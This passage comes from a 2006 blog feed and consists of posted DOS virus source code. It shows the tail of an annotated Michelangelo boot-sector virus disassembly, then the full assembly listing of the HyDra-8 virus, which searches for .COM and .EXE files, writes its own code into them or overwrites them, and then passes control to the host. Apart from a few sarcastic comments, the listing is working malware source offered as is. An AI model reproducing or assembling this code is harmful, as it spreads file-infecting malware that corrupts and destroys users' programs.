write sectors from mem es:bx&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;;*        jmp    short loc_13        ;*(02E0)&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        db    0EBh, 32h&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        db    1, 4, 11h, 0, 80h, 0&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        db    5, 5, 32h, 1, 0, 0&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        db    0, 0, 0&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        db    53h, 53h, 20h, 20h, 43h, 4Fh&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        db    4Dh&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        db    58 dup (0)&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        db    55h, 0AAh&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;  &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;seg_a        ends&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;;Last notes this virus looks like a poor hack job on the stoned virus.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;;It is kinda cool in the fact that it is hard to get out of the partition table&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;;even if you nuke the partition table it will live on even if you replace it.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;;the only way to get it out of the partition table is 1. debug 2.clean ver 86b&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;;3 cpav 1.0 and above. oh yeah and all that special shit that came out for it&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;;this virus uses int 1ah which doesn't work on an XT system.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;;the virus isn't actually 512 but that is how much it writes.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;;it moves the boot area of a floppy to the last sector on the disk&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;;and on a harddrive it moves it to the last sector in the root directory&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;;This should show you all how much the media can over do it on things&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;;since this is really a lame virus,to tell you the truth there is a lot better&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;;ones out there.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;;This in no way is a complete listing of the code for the virus.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;;Nor is it the best since i'm not the best at Assembly.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;;Done by Visionary.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;;BTW to who ever wrote this virus... Get a life!  &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;-------------------------------------------------------------------------------&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/34599328-115856608035626992?l=missendare.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://missendare.blogspot.com/feeds/115856608035626992/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=34599328&amp;postID=115856608035626992&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/34599328/posts/default/115856608035626992'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/34599328/posts/default/115856608035626992'/><link rel='alternate' type='text/html' href='http://missendare.blogspot.com/2006/09/michel-angelo.html' title='Michel angelo'/><author><name>Miss EndarE</name><uri>http://www.blogger.com/profile/14074827578197836263</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-34599328.post-115856595469230895</id><published>2006-09-18T14:50:00.000+07:00</published><updated>2006-09-18T14:52:34.786+07:00</updated><title type='text'>hydra script</title><content type='html'>&lt;span style="font-family: times new roman;"&gt;  &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;DATA_1E        EQU    80H&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;DATA_16E    EQU    1EFH&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;DATA_17E    EQU    1F2H&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;DATA_18E    EQU    9D9AH&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;  &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;SEG_A        SEGMENT    BYTE PUBLIC&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        ASSUME    CS:SEG_A, DS:SEG_A&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;  &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;  &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        ORG    100h&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;  &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;HYDRA8        PROC    FAR&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;  &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;START:&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        JMP    LOC_2            ; (01E2)&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        DB     59H, 44H, 00H, 00H&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;DATA_4        DB    'HyDra-8   Beta - Not For Release'&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        DB    '. *.CO?'&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        DB    0&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;DATA_7        DW    0, 84FCH&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;DATA_9        DW    0&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;DATA_10        DB    0&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        DB    29 DUP (0)&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;DATA_11        DB    0&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        DB    0, 0, 0, 0, 0, 0&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;DATA_12        DB    0&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        DB    0, 0, 0, 0, 0, 0&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;COPYRIGHT    DB    'Copyright (c)'&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        DB    '  1991 by C.A.V.E.  '&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;DATA_13        DB    2AH&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        DB     2EH, 45H, 58H, 45H, 00H&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;DATA_14        DB    33H&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        DB    0C9H, 1EH, 52H,0E8H, 06H, 00H&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        DB    0E8H, 13H, 00H,0EBH, 36H, 90H&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        DB    0BEH, 48H, 01H,0BFH, 5AH, 01H&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        DB    0B9H, 12H, 00H&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;  &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;LOCLOOP_1:&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        XOR    BYTE PTR [SI],0F5H&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        MOVSB                ; Mov [si] to es:[di]&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        LOOP    LOCLOOP_1        ; Loop if cx &gt; 0&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;  &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        RETN&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        MOV    AX,0F00H&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        INT    10H            ; Video display   ah=functn 0Fh&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;                        ;  get state, al=mode, bh=page&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        MOV    AH,0&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        INT    10H            ; Video display   ah=functn 00h&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;                        ;  set display mode in al&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        MOV    AX,200H&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        MOV    DH,0CH&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        MOV    DL,1FH&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        INT    10H            ; Video display   ah=functn 02h&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;                        ;  set cursor location in dx&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        XOR    DX,DX            ; Zero register&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        MOV    DX,OFFSET DATA_12&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        MOV    AH,9&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        INT    21H            ; DOS Services  ah=function 09h&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;                        ;  display char string at ds:dx&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        MOV    AX,200H&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        MOV    DH,18H&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        MOV    DL,0&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        INT    10H            ; Video display   ah=functn 02h&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;                        ;  set cursor location in dx&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        RETN&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        MOV    AX,4C00H&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        INT    21H            ; DOS Services  ah=function 4Ch&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;                        ;  terminate with al=return code&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        ADD    [BP+SI-6563H],AH&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        CMC                ; Complement carry&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        PUSHF                ; Push flags&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        XCHG    DH,CH&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        MOV    DI,DATA_18E&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        DB     9BH,0F5H,0B2H, 94H, 99H, 81H&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        DB    0CAH,0D1H&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;LOC_2:&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        PUSH    AX&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        MOV    AX,CS&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        ADD    AX,1000H&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        XOR    DI,DI            ; Zero register&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        MOV    CX,1EFH&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        MOV    SI,OFFSET DS:[100H]&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        MOV    ES,AX&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        REP    MOVSB            ; Rep when cx &gt;0 Mov [si] to es:[di]&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        MOV    AH,1AH&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        MOV    DX,OFFSET DATA_10&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        INT    21H            ; DOS Services  ah=function 1Ah&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;                        ;  set DTA to ds:dx&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        MOV    AH,4EH            ; 'N'&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        MOV    DX,OFFSET DATA_4+22H&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        INT    21H            ; DOS Services  ah=function 4Eh&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;                        ;  find 1st filenam match @ds:dx&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        JC    LOC_6            ; Jump if carry Set&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;LOC_3:&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        MOV    AH,3DH            ; '='&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        MOV    AL,2&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        MOV    DX,OFFSET DATA_11&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        INT    21H            ; DOS Services  ah=function 3Dh&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;                        ;  open file, al=mode,name@ds:dx&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        MOV    BX,AX&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        PUSH    ES&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        POP    DS&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        MOV    AX,3F00H&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        MOV    CX,0FFFFH&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        MOV    DX,DATA_16E&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        INT    21H            ; DOS Services  ah=function 3Fh&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;                        ;  read file, cx=bytes, to ds:dx&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        ADD    AX,1EFH&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        MOV    CS:DATA_9,AX&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        CMP    WORD PTR DS:DATA_17E,4459H&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        JNE    LOC_4            ; Jump if not equal&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        MOV    AH,3EH            ; '&gt;'&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        INT    21H            ; DOS Services  ah=function 3Eh&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;                        ;  close file, bx=file handle&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        PUSH    CS&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        POP    DS&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        MOV    AH,4FH            ; 'O'&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        INT    21H            ; DOS Services  ah=function 4Fh&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;                        ;  find next filename match&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        JC    LOC_7            ; Jump if carry Set&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        JMP    SHORT LOC_3        ; (0204)&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;LOC_4:&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        XOR    CX,CX            ; Zero register&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        MOV    DX,CX&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        MOV    AX,4200H&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        INT    21H            ; DOS Services  ah=function 42h&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;                        ;  move file ptr, cx,dx=offset&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        JC    LOC_5            ; Jump if carry Set&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        MOV    AH,40H            ; '@'&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        XOR    DX,DX            ; Zero register&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        MOV    CX,CS:DATA_9&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        INT    21H            ; DOS Services  ah=function 40h&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;                        ;  write file cx=bytes, to ds:dx&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;LOC_5:&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        MOV    AH,3EH            ; '&gt;'&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        INT    21H            ; DOS Services  ah=function 3Eh&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;                        ;  close file, bx=file handle&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        PUSH    CS&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        POP    DS&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;LOC_6:&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        MOV    AH,1AH&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        MOV    DX,DATA_1E&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        INT    21H            ; DOS Services  ah=function 1Ah&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;                        ;  set DTA to ds:dx&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        JMP    SHORT LOC_10        ; (02B0)&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        DB    90H&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;LOC_7:&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        CLC                ; Clear carry flag&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        XOR    CX,CX            ; Zero register&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        PUSH    DS&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        PUSH    DX&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        MOV    AH,1AH&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        MOV    DX,OFFSET DATA_10&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        INT    21H            ; DOS Services  ah=function 1Ah&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;                        ;  set DTA to ds:dx&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        MOV    DX,OFFSET DATA_13&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        MOV    AH,4EH            ; 'N'&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        XOR    CX,CX            ; Zero register&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        INT    21H            ; DOS Services  ah=function 4Eh&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;                        ;  find 1st filenam match @ds:dx&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        JC    LOC_6            ; Jump if carry Set&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;LOC_8:&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        MOV    AH,3CH            ; '&lt;'&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        XOR    CX,CX            ; Zero register&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        MOV    DX,OFFSET DATA_11&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        INT    21H            ; DOS Services  ah=function 3Ch&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;                        ;  create/truncate file @ ds:dx&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        MOV    BX,AX&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        JC    LOC_6            ; Jump if carry Set&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        MOV    AX,3D02H&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        MOV    DX,OFFSET DATA_11&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        INT    21H            ; DOS Services  ah=function 3Dh&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;                        ;  open file, al=mode,name@ds:dx&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        MOV    BX,AX&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        CLC                ; Clear carry flag&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        XOR    DX,DX            ; Zero register&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        MOV    AH,40H            ; '@'&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        MOV    DX,OFFSET DATA_14&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        MOV    CX,5AH&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        INT    21H            ; DOS Services  ah=function 40h&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;                        ;  write file cx=bytes, to ds:dx&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        CMP    AX,5AH&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        JB    LOC_9            ; Jump if below&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        MOV    AH,3EH            ; '&gt;'&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        INT    21H            ; DOS Services  ah=function 3Eh&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;                        ;  close file, bx=file handle&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        JC    LOC_9            ; Jump if carry Set&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        MOV    AH,4FH            ; 'O'&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        INT    21H            ; DOS Services  ah=function 4Fh&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;                        ;  find next filename match&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        JNC    LOC_8            ; Jump if carry=0&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;LOC_9:&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        MOV    AX,4C00H&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        INT    21H            ; DOS Services  ah=function 4Ch&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;                        ;  terminate with al=return code&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;LOC_10:&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        XOR    DI,DI            ; Zero register&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        MOV    SI,OFFSET DATA_15&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        MOV    CX,22H&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        REP    MOVSB            ; Rep when cx &gt;0 Mov [si] to es:[di]&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        POP    BX&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        MOV    CS:DATA_7,0&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        MOV    WORD PTR CS:DATA_7+2,ES&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        POP    BX&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        JMP    DWORD PTR CS:DATA_7&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;DATA_15        DB    1EH&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        DB     07H,0B9H,0FFH,0FFH,0BEH,0EFH&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        DB     02H,0BFH, 00H, 01H, 2BH,0CEH&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        DB    0F3H,0A4H, 2EH,0C7H, 06H, 00H&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        DB     01H, 00H, 01H, 2EH, 8CH, 1EH&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        DB     02H, 01H, 8BH,0C3H, 2EH,0FFH&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        DB     2EH, 00H, 01H,0CDH&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        DB    20H&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;  &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;HYDRA8        ENDP&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;  &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;SEG_A        ENDS&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;  &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;  &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;  &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        END    START&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt; &lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/34599328-115856595469230895?l=missendare.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://missendare.blogspot.com/feeds/115856595469230895/comments/default' title='Post Comments'/><link rel='replies' type='text/html' 